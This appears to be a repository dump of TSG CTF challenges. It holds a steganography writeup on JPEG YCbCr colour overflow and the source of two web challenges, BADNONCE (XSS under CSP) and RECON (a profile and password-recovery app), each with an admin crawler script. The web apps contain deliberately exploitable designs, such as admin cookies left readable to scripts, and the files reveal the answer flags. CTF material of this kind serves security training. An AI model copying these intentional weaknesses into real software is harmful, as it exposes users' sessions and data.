https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/cmyktest.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/fillbytes.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/fillbytes.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/grumpycat-50.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/grumpycat-50.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/grumpycat-nocolortrans.rgba: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/grumpycat-nocolortrans.rgba -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/grumpycat.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/grumpycat.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/grumpycat.rgba: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/grumpycat.rgba -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/plusshelf-drawing.cmyk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/plusshelf-drawing.cmyk -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/plusshelf-drawing.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/plusshelf-drawing.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/redbox-with-rst.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/redbox-with-rst.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/redbox.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/redbox.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/rgb.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/rgb.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/rgb.rgb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/rgb.rgb -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/skater-progressive.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/skater-progressive.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/skater-progressive.rgba: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/skater-progressive.rgba -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/skater.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/skater.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/tree-cmyk.cmyk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/tree-cmyk.cmyk -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/tree-cmyk.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/tree-cmyk.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/tree-rgb.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/tree-rgb.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/tree-rgb.rgb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/tree-rgb.rgb -------------------------------------------------------------------------------- /stego/harekaze/writeup/jpeg-js/test/fixtures/unconventional-table.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/stego/harekaze/writeup/jpeg-js/test/fixtures/unconventional-table.jpg -------------------------------------------------------------------------------- /stego/harekaze/writeup/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "writeup", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "jpeg-js": { 8 | "version": "file:jpeg-js" 9 | }, 10 | "png-js": { 11 | "version": "0.1.1", 12 | "resolved": "https://registry.npmjs.org/png-js/-/png-js-0.1.1.tgz", 13 | "integrity": "sha1-HMfCEjA6yr50Jj7DrHgAlYAkLZM=" 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /stego/harekaze/writeup/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "writeup", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "build.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "keywords": [], 10 | "author": "", 11 | "license": "ISC", 12 | "dependencies": { 13 | "jpeg-js": "file:jpeg-js", 14 | "png-js": "^0.1.1" 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /stego/harekaze/writeup/solve.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const pngjs = require('png-js'); 3 | const jpegjs = require('jpeg-js'); 4 | const editedJpegjs = require('./jpeg-js'); 5 | 6 | const width = 400; 7 | const height = 50; 8 | 9 | fs.readFile('harekaze.jpg', (error, jpegData) => { 10 | const data = editedJpegjs.decode(jpegData); 11 | const jpeg = jpegjs.encode({width, height, data: data.data}, 100); 12 | fs.writeFileSync('harekaze_solve.jpg', jpeg.data); 13 | }); 14 | -------------------------------------------------------------------------------- /stego/harekaze/writeup/writeup.md: -------------------------------------------------------------------------------- 1 | # Harekaze Writeup 2 | 3 | ## How to solve 4 | 5 | Simply mapping internal expression of (Y, Cb, Cr) values into (R, G, B) produces the following image: 6 | 7 | ![](harekaze_solve.jpg) 8 | 9 | The flag is `TSGCTF{UnderTheBlueSeaMermaidSwims}` 10 | 11 | ## Theories behind this chal 12 | 13 | JPEG uses (Y, Cb, Cr) color space to compress images. This method is basically efficient for compression used with chroma sampling, but technically inefficient from the point of color space view. 14 | 15 | Conversion between (Y, Cb, Cr) and (R, G, B) is a linear transformation. It rotates dimension and in principal, (Y, Cb, Cr) color space is _larger_ than (R, G, B) color space. So, there are (Y, Cb, Cr) colors that cannot be converted correctly into (R, G, B) colors. 16 | 17 | In this chal, I used following colors for the image background and foreground. 18 | 19 | * Background: `(Y, Cb, Cr) = (122, 225, 112)` = `(R, G, B) = (99, 100, 293)` 20 | * Foreground: `(Y, Cb, Cr) = (129, 255, 107)` = `(R, G, B) = (99, 100, 354)` 21 | 22 | Both colors have very different tints, but their Blue value excesses 255 and rounded into 255. So, apparently two colors cannot be distinguished when rendered into RGB, keeping internal representation not the same. 23 | 24 | --- 25 | 26 | ## 解法 27 | 28 | JPEGの色空間がYCbCrであることを利用した問題。 29 | 30 | フラグの括弧で囲われた部分を解析すると、絶妙に何かがあることがわかる。 31 | 32 | ![](harekaze_analyze.png) 33 | 34 | が、いくらそのまま画像を操作しても文字列を復元することはできない。 35 | 36 | この問題のポイントは、JPEGのエンコードに使用されているYCbCr空間の大きさは、デコードされた状態のRGB空間よりも大きいということを知っているかどうかである。 37 | 38 | つまり、JPEGにおいては、YCbCr空間で表せてRGB空間では表せない色というのが存在する。 39 | 40 | 例えば、`(Y, Cb, Cr) = (129, 255, 107)`という色は`(R, G, B) = (99, 100, 354)`に対応しているが、この色はBの値が上限の255を超えているため、通常は表せない。このような色は通常255を超えた値を255に詰めてRGBに変換されるので、JPEGが表示される際には`(R, G, B) = (99, 100, 255)`に変換される。 41 | 42 | 今回の問題では、 43 | 44 | * 背景: `(Y, Cb, Cr) = (122, 225, 112)` = `(R, G, B) = (99, 100, 293)` 45 | * 前影: `(Y, Cb, Cr) = (129, 255, 107)` = `(R, G, B) = (99, 100, 354)` 46 | 47 | でフラグが記載されている。つまりBの値を詰めて255にすると背景と前影が同じ色になって表示されてしまうが、実際の内部表現は全く違う色になっているという寸法である。 48 | 49 | これを解く方法はいくつか考えられるが、例えばJPEGの内部のYCbCrをそのままRGBにマッピングして出力すると以下のような画像が得られる。 50 | 51 | ![](harekaze_solve.jpg) 52 | 53 | ## Flag 54 | 55 | `TSGCTF{UnderTheBlueSeaMermaidSwims}` -------------------------------------------------------------------------------- /web/badnonce/.gitattributes: -------------------------------------------------------------------------------- 1 | * text=auto 2 | *.css linguist-vendored 3 | *.scss linguist-vendored 4 | *.js linguist-vendored 5 | CHANGELOG.md export-ignore 6 | -------------------------------------------------------------------------------- /web/badnonce/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | /public/.cache 3 | /vendor 4 | /.idea 5 | .env 6 | .DS_Store -------------------------------------------------------------------------------- /web/badnonce/README.md: -------------------------------------------------------------------------------- 1 | # BADNONCE 2 | 3 | ## Author 4 | @lmt\_swallow 5 | 6 | ## Description 7 | Reining in the Web with ...? `http://(本番環境のホスト)/?q=[XSS]` 8 | 9 | (日本語Descriptionなし) 10 | 11 | ## Difficulty Estimate 12 | medium 13 | -------------------------------------------------------------------------------- /web/badnonce/flag.txt: -------------------------------------------------------------------------------- 1 | TSGCTF{dEv1L_15_1n_7he_DE741l2} 2 | TSGCTF{r3CuR51v3_1MP0R7_73cHN1Kw3_15_50_k3WL} 3 | -------------------------------------------------------------------------------- /web/badnonce/index.php: -------------------------------------------------------------------------------- 1 | 3){ 6 | setcookie('flag2', null, -1, '/'); 7 | } 8 | if (!isset($_GET['q'])){ 9 | header('Location: /?q=[XSS]'); 10 | } 11 | ?> 12 | 13 | 14 | 15 | BADNONCE 16 | 17 | 18 | 19 |

BADNONCE

20 |
21 |
22 |

You can send me an URL from here.

23 |

Administrators will check your link. Here is the part of the crawler administrators use.

24 |

This session id was used times :-)

25 |
26 |
27 |

This page uses Content-Security-Policy (CSP). Therefore it's safe from XSS! :-)

28 | 31 |
32 |
33 | 34 | 35 |
36 |
37 |

src of this page

38 | 39 |
40 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /web/badnonce/part_of_crawler.js: -------------------------------------------------------------------------------- 1 | const puppeteer = require('puppeteer'); 2 | const flag1 = process.env.FLAG1; 3 | const flag2 = process.env.FLAG2; 4 | 5 | const current_host = process.env.CURRENT_HOST; 6 | const url_base = process.env.APP_URL_BASE; 7 | const timeout = parseInt(process.env.TIMEOUT); 8 | 9 | const browser_option = { 10 | executablePath: 'google-chrome-stable', 11 | headless: true, 12 | args: [ 13 | '--no-sandbox', 14 | '--disable-background-networking', 15 | '--disable-default-apps', 16 | '--disable-extensions', 17 | '--disable-gpu', 18 | '--disable-sync', 19 | '--disable-translate', 20 | '--hide-scrollbars', 21 | '--metrics-recording-only', 22 | '--mute-audio', 23 | '--no-first-run', 24 | '--safebrowsing-disable-auto-update', 25 | ], 26 | }; 27 | const cookies = [ 28 | { 29 | "domain": current_host, 30 | "expirationDate": 1597288045, 31 | "hostOnly": false, 32 | "httpOnly": false, 33 | "name": "flag1", 34 | "path": "/", 35 | "sameSite": "no_restriction", 36 | "secure": false, 37 | "session": false, 38 | "storeId": "0", 39 | "value": flag1, 40 | "id": 1 41 | }, 42 | { 43 | "domain": current_host, 44 | "expirationDate": 1597288045, 45 | "hostOnly": false, 46 | "httpOnly": false, 47 | "name": "flag2", 48 | "path": "/", 49 | "sameSite": "no_restriction", 50 | "secure": false, 51 | "session": false, 52 | "storeId": "0", 53 | "value": flag2, 54 | "id": 1 55 | }]; 56 | 57 | 58 | /* ... */ 59 | const browser = await puppeteer.launch(browser_option); 60 | try { 61 | const page = await browser.newPage(); 62 | await page.goto(url_base, { 63 | timeout: 3000, 64 | waitUntil: 'networkidle2' 65 | }); 66 | await page.setCookie(...cookies); 67 | await page.goto(url, { 68 | timeout: timeout, 69 | waitUntil: 'networkidle0' 70 | }); 71 | } catch (err){ 72 | console.log(err); 73 | } 74 | await browser.close(); 75 | /* ... */ 76 | -------------------------------------------------------------------------------- /web/recon/.env: -------------------------------------------------------------------------------- 1 | build/.env -------------------------------------------------------------------------------- /web/recon/.gitattributes: -------------------------------------------------------------------------------- 1 | * text=auto 2 | *.css linguist-vendored 3 | *.scss linguist-vendored 4 | *.js linguist-vendored 5 | CHANGELOG.md export-ignore 6 | -------------------------------------------------------------------------------- /web/recon/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | /public/.cache 3 | /vendor 4 | /.idea 5 | build/.env 6 | .DS_Store 7 | -------------------------------------------------------------------------------- /web/recon/README.md: -------------------------------------------------------------------------------- 1 | # RECON 2 | 3 | ## Author 4 | @lmt\_swallow 5 | 6 | ## Description 7 | I've made a Web page where you can publish your profile. You can keep your password hint with your preferences. Let's reveal the preferences of an administrator(username: admin) and get the FLAG! 8 | 9 | プロフィールを公開できるサービスを作ってみました。ついでにパスワードのヒントをあなたの好き嫌いと紐付けられるようにしてみました。もし管理者(ユーザー名: admin)の好き嫌いがバレてしまったら、まずいことになるなあ。 10 | 11 | ## Difficulty Estimate 12 | medium 13 | -------------------------------------------------------------------------------- /web/recon/dist/classes/UserMapper.php: -------------------------------------------------------------------------------- 1 | db = $db; 9 | } 10 | 11 | public function login($username, $password) { 12 | $sql = "SELECT * FROM users WHERE username=:username and password=:password"; 13 | $stmt = $this->db->prepare($sql); 14 | $stmt->bindParam("username", $username); 15 | $stmt->bindParam("password", $password); 16 | $stmt->execute(); 17 | return $stmt->fetch(); 18 | } 19 | 20 | public function getUserInfo($id) { 21 | $sql = "SELECT * FROM users WHERE id=:id"; 22 | $stmt = $this->db->prepare($sql); 23 | $stmt->bindParam("id", $id); 24 | $stmt->execute(); 25 | return $stmt->fetch(); 26 | } 27 | 28 | public function createUser($username, $password, $message, $profile, $recovery_answers){ 29 | $sql = sprintf("INSERT INTO users (id, username, password, profile, recovery_message, %s) VALUES (:id, :username, :password, :profile, :message, %s)", 30 | join(',', array_map(function($i) { return "q". $i;}, range(1, 20))), 31 | join(',', array_map(function($i) { return ":q". $i;}, range(1, 20)))); 32 | $stmt = $this->db->prepare($sql); 33 | $stmt->bindParam("id", md5(getenv('APP_SALT') . $username)); 34 | $stmt->bindParam("username", $username); 35 | $stmt->bindParam("password", $password); 36 | $stmt->bindParam("profile", $profile); 37 | $stmt->bindParam("message", $message); 38 | foreach(range(1, 20) as $i){ 39 | $stmt->bindParam("q" . $i, $recovery_answers[$i-1]); 40 | } 41 | $stmt->execute(); 42 | 43 | return $this->login($username, $password); 44 | } 45 | 46 | public function editUser($username, $password, $profile){ 47 | $sql = "UPDATE users SET profile=:profile WHERE username=:username and password=:password"; 48 | $stmt = $this->db->prepare($sql); 49 | $stmt->bindParam("username", $username); 50 | $stmt->bindParam("password", $password); 51 | $stmt->bindParam("profile", $profile); 52 | $stmt->execute(); 53 | return $this->login($username, $password); 54 | } 55 | 56 | public function recoveryUser($username, $recovery_answers){ 57 | $sql = sprintf("SELECT recovery_message FROM users WHERE username=:username and %s", 58 | join(' and ', array_map(function($i) { 59 | return "q". $i . "= :q" . $i; 60 | }, range(1, 20)))); 61 | 62 | $stmt = $this->db->prepare($sql); 63 | $stmt->bindParam("username", $username); 64 | foreach(range(1, 20) as $i){ 65 | $stmt->bindParam("q" . $i, $recovery_answers[$i-1]); 66 | } 67 | $stmt->execute(); 68 | return $stmt->fetch()['recovery_message']; 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /web/recon/dist/composer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "slim/slim-skeleton", 3 | "description": "A Slim Framework skeleton application for rapid development", 4 | "keywords": ["microframework", "rest", "router", "psr7"], 5 | "homepage": "http://github.com/slimphp/Slim-Skeleton", 6 | "license": "MIT", 7 | "authors": [ 8 | { 9 | "name": "Josh Lockhart", 10 | "email": "info@joshlockhart.com", 11 | "homepage": "http://www.joshlockhart.com/" 12 | } 13 | ], 14 | "require": { 15 | "php": ">=5.5.0", 16 | "slim/slim": "^3.1", 17 | "slim/php-view": "^2.0", 18 | "monolog/monolog": "^1.17", 19 | "slim/csrf": "^0.8.3", 20 | "slim/twig-view": "^2.4" 21 | }, 22 | "require-dev": { 23 | "phpunit/phpunit": ">=4.8 < 6.0" 24 | }, 25 | "autoload-dev": { 26 | "psr-4": { 27 | "Tests\\": "tests/" 28 | } 29 | }, 30 | "config": { 31 | "process-timeout" : 0 32 | }, 33 | "scripts": { 34 | "start": "php -S localhost:8080 -t public", 35 | "test": "phpunit" 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /web/recon/dist/part_of_crawler.js: -------------------------------------------------------------------------------- 1 | /* this code is a part of our crawler. */ 2 | 3 | const puppeteer = require('puppeteer'); 4 | const url_base = process.env.APP_URL_BASE; 5 | const admin_password = process.env.ADMIN_PASSWORD; 6 | const browser_option = { 7 | executablePath: 'google-chrome-stable', 8 | headless: true, 9 | args: [ 10 | '--no-sandbox', 11 | '--disable-background-networking', 12 | '--disk-cache-dir=/dev/null', 13 | '--disable-default-apps', 14 | '--disable-extensions', 15 | '--disable-gpu', 16 | '--disable-sync', 17 | '--disable-translate', 18 | '--hide-scrollbars', 19 | '--metrics-recording-only', 20 | '--mute-audio', 21 | '--no-first-run', 22 | '--safebrowsing-disable-auto-update', 23 | ], 24 | }; 25 | 26 | 27 | /* ... */ 28 | 29 | const browser = await puppeteer.launch(browser_option); 30 | try{ 31 | const page = await browser.newPage(); 32 | await page.goto(url_base, {waitUntil: 'networkidle2'}); 33 | await page.type('#username', 'admin'); 34 | await page.type('#password', admin_password); 35 | await Promise.all([ 36 | page.click('#signin_submit'), 37 | page.waitForNavigation() 38 | ]); 39 | await page.goto(`${url_base}/profile/${username}`, { 40 | waitUntil: 'networkidle0', 41 | timeout: 20000, 42 | }); 43 | } catch (err){ 44 | console.log(err); 45 | } 46 | await browser.close(); 47 | 48 | /* ... */ 49 | 50 | -------------------------------------------------------------------------------- /web/recon/dist/public/.htaccess: -------------------------------------------------------------------------------- 1 | 2 | RewriteEngine On 3 | 4 | # Some hosts may require you to use the `RewriteBase` directive. 5 | # Determine the RewriteBase automatically and set it as environment variable. 6 | # If you are using Apache aliases to do mass virtual hosting or installed the 7 | # project in a subdirectory, the base path will be prepended to allow proper 8 | # resolution of the index.php file and to redirect to the correct URI. It will 9 | # work in environments without path prefix as well, providing a safe, one-size 10 | # fits all solution. But as you do not need it in this case, you can comment 11 | # the following 2 lines to eliminate the overhead. 12 | RewriteCond %{REQUEST_URI}::$1 ^(/.+)/(.*)::\2$ 13 | RewriteRule ^(.*) - [E=BASE:%1] 14 | 15 | # If the above doesn't work you might need to set the `RewriteBase` directive manually, it should be the 16 | # absolute physical path to the directory that contains this htaccess file. 17 | # RewriteBase / 18 | 19 | RewriteCond %{REQUEST_FILENAME} !-f 20 | RewriteRule ^ index.php [QSA,L] 21 | 22 | -------------------------------------------------------------------------------- /web/recon/dist/public/css/bootstrap-reboot.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap Reboot v4.3.1 (https://getbootstrap.com/) 3 | * Copyright 2011-2019 The Bootstrap Authors 4 | * Copyright 2011-2019 Twitter, Inc. 5 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 6 | * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md) 7 | */*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg{overflow:hidden;vertical-align:middle}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}select{word-wrap:normal}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important} 8 | /*# sourceMappingURL=bootstrap-reboot.min.css.map */ -------------------------------------------------------------------------------- /web/recon/dist/public/css/custom.css: -------------------------------------------------------------------------------- 1 | .site-header { 2 | background-color: rgba(0, 0, 0, .85); 3 | -webkit-backdrop-filter: saturate(180%) blur(20px); 4 | backdrop-filter: saturate(180%) blur(20px); 5 | } 6 | .site-header a { 7 | color: #999; 8 | transition: ease-in-out color .15s; 9 | } 10 | .site-header a:hover { 11 | color: #fff; 12 | text-decoration: none; 13 | } 14 | -------------------------------------------------------------------------------- /web/recon/dist/public/image/admin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/web/recon/dist/public/image/admin.png -------------------------------------------------------------------------------- /web/recon/dist/public/image/tags.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/web/recon/dist/public/image/tags.png -------------------------------------------------------------------------------- /web/recon/dist/public/index.php: -------------------------------------------------------------------------------- 1 | run(); 36 | -------------------------------------------------------------------------------- /web/recon/dist/src/dependencies.php: -------------------------------------------------------------------------------- 1 | getContainer(); 4 | 5 | // view renderer 6 | $container['renderer'] = function ($c) { 7 | $settings = $c->get('settings')['renderer']; 8 | $view = new \Slim\Views\Twig($settings['template_path'], [ 9 | 'cache' => false, 10 | ]); 11 | 12 | $router = $c->get('router'); 13 | $uri = \Slim\Http\Uri::createFromEnvironment(new \Slim\Http\Environment($_SERVER)); 14 | $view->addExtension(new \Slim\Views\TwigExtension($router, $uri)); 15 | 16 | return $view; 17 | }; 18 | 19 | // monolog 20 | $container['logger'] = function ($c) { 21 | $settings = $c->get('settings')['logger']; 22 | $logger = new Monolog\Logger($settings['name']); 23 | $logger->pushProcessor(new Monolog\Processor\UidProcessor()); 24 | $logger->pushHandler(new Monolog\Handler\StreamHandler($settings['path'], 25 | $settings['level'])); 26 | return $logger; 27 | }; 28 | 29 | $container['csrf'] = function ($c) { 30 | return new \Slim\Csrf\Guard; 31 | }; 32 | 33 | $container['db'] = function ($c) { 34 | $db = $c['settings']['db']; 35 | $pdo = new PDO('mysql:host=' . $db['host'] . ';dbname=' . $db['dbname'], 36 | $db['user'], 37 | $db['pass']); 38 | $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 39 | $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); 40 | return $pdo; 41 | }; 42 | -------------------------------------------------------------------------------- /web/recon/dist/src/middleware.php: -------------------------------------------------------------------------------- 1 | add($container->get('csrf')); 3 | -------------------------------------------------------------------------------- /web/recon/dist/src/routes.php: -------------------------------------------------------------------------------- 1 | get('/', UserController::class . ':index'); 7 | 8 | // sessions (sign in/out) 9 | $app->post('/signin', UserController::class . ':signIn'); 10 | $app->get('/signup', UserController::class . ':signUpView'); 11 | $app->post('/signup', UserController::class . ':signUp'); 12 | $app->delete('/signout', UserController::class . ':signOut'); 13 | 14 | // user profiles 15 | $app->get('/profile', UserController::class . ':getMyProfile'); 16 | $app->get('/profile/{id}', UserController::class . ':getProfile'); 17 | $app->post('/profile', UserController::class . ':editProfile'); 18 | 19 | // recovery password 20 | $app->get('/recover', UserController::class . ':startRecovery'); 21 | $app->post('/recover', UserController::class . ':completeRecovery'); 22 | 23 | $app->get('/report', UserController::class . ':startReporting'); 24 | -------------------------------------------------------------------------------- /web/recon/dist/src/settings.php: -------------------------------------------------------------------------------- 1 | [ 4 | 'cookies.httponly' => true, 5 | 'displayErrorDetails' => false, // set to false in production 6 | 'addContentLengthHeader' => false, // Allow the web server to send the content-length header 7 | 8 | // Database settings 9 | 'db' => [ 10 | 'host' => $_ENV['DB_HOST'], 11 | 'port' => $_ENV['DB_PORT'], 12 | 'user' => $_ENV['DB_USERNAME'], 13 | 'pass' => $_ENV['DB_PASSWORD'], 14 | 'dbname' => $_ENV['DB_DATABASE'], 15 | ], 16 | 17 | // Renderer settings 18 | 'renderer' => [ 19 | 'template_path' => __DIR__ . '/../templates/', 20 | 'cache_path' => __DIR__ . '/../caches/', 21 | ], 22 | 23 | // Monolog settings 24 | 'logger' => [ 25 | 'name' => $_ENV['APP_HOST'], 26 | 'path' => isset($_ENV['docker']) ? 'php://stdout' : __DIR__ . '/../storage/logs/slim/app.log', 27 | 'level' => \Monolog\Logger::DEBUG, 28 | ], 29 | ], 30 | ]; 31 | -------------------------------------------------------------------------------- /web/recon/dist/templates/404.phtml: -------------------------------------------------------------------------------- 1 | {% extends 'base.phtml' %} 2 | 3 | {% block body %} 4 |
5 |
6 |

404 Not Found

7 |
8 |
